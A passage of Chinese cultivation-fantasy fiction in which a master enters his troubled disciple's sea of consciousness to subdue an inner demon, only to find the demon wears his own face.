“光天化日师徒苟合,行此有悖伦常之事,如若不罚……” “不,不是这样的。”听着曾经听过的讥讽私语,顾鸣喃喃着,但脑海中的画面并没有停下,最后定格在他光风霁月的师尊,被强行押解的背影。 “不是这样的……跟师尊没关系……”恍惚间,顾鸣的灵力又开始外泄,卷起周围书卷簌簌,飘摇在屋内。 外面的晏江山也顾不得强行破处阵法,会不会引得顾鸣被反噬,照现在的情形看,如果不管那乱子才更大。 青年没了顾忌,动手结势,绚烂而盛大的灵力从他脚下涌出,又随着他的动作整个扑向屋子。 晏江山冲了进去,又把众人呵退在原地:“都站着别动!” 晏月来的时候,只看到了师尊的背影,他皱眉看向路离:“发生什么事了?” “顾鸣好像出事了。”虽然一直看这个大师兄不顺眼,但是到底也不是深仇大恨,相处这么长时间的人,真要是有什么事,他当然也是不想的。 晏月闻言眉头皱的更紧了,他抿了抿唇,一种不妙的预感漫上心头。 屋子里,晏江山甚至没工夫看旁边的东西都是什么,就只是盯着顾鸣,他这模样,多半是上次强行提升境界,境界尚且不稳,被魔气乘虚而入了。 “路离!护法!”青年没注意到外面的晏月,吩咐过后就专心开始平复顾鸣紊乱的灵力。 但是这个程度,光是现在平复还不够,势必得去一趟他的识海,找到那个所谓的心魔。 顾鸣现在毕竟还虚弱,晏江山想进入他的识海不算难,等看了许多莫名其妙的虚幻场面之后,他终于抵达了顾鸣识海深处。 然后,青年发现这里似乎有些眼熟,银月,药泉,乌羽扇……这是他最开始药浴那一晚? 再往前,晏江山在池子里看到了一个人,面对这照镜子一般的识海,他沉默了。 谁能告诉他,他徒弟的心魔—— 为什么会长着一张他的脸!